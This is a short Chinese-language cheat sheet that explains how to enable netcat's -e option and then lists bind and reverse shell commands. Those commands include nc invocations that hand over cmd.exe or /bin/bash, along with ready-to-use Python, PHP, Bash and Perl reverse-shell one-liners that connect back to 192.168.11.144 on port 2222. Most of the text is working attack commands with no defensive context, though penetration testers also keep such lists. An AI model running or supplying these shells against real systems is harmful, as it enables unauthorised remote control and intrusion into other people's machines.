netcat没有-e选项解决方法(反弹shell用法)

今天用netcat时发现我的netcat竟然没有-e选项
原来安装的默认是openbsd的,而openbsd是没有-e选项的,需要变更为traditional版才有,
变更方法如下:
输入

sudo update-alternatives --config nc

此时会显示netcat的各个版本,输入2选择traditional
之后nc便有了-e选项
netcat-openbsd的用法与netcat-traditional用法有所不同,可以根据需要自行切换。

反弹shell

方法1、正向shell

nc -lvp [port] -e c:\Windows\system32\cmd.exe
或者
nc -lvp [port] -e cmd

建立连接

nc -nvv [ip] [port]

方法2、反向shell

nc -lvp [port]

反弹

nc -e c:\windows\system32\cmd.exe [ip] [port]
或者
nc -e cmd [ip] [port]

linux的为 -e /bin/bash

nc的常用的几个参数如下所列:

0)-e
程序重定向
1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p 
指定端口3) -s
指定发送数据的源IP地址,适用于多网卡机
4) -u
 指定nc使用UDP协议,默认为TCP
5) -v
输出交互或出错信息,新手调试时尤为有用
6)-w
超时秒数,后面跟数字
7)-z
表示zero,表示扫描时不发送任何数据
8)-n
告诉netcat 不要使用DNS反向查询IP地址的域名
9)-o <输出文件> 
指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
10)-i <延迟秒数> 
设置时间间隔,以便传送信息及扫描通信端口。

python反向shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反向shell

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

Bash反向shell

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

Perl反向shell

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

你可能感兴趣的:(安全,web安全)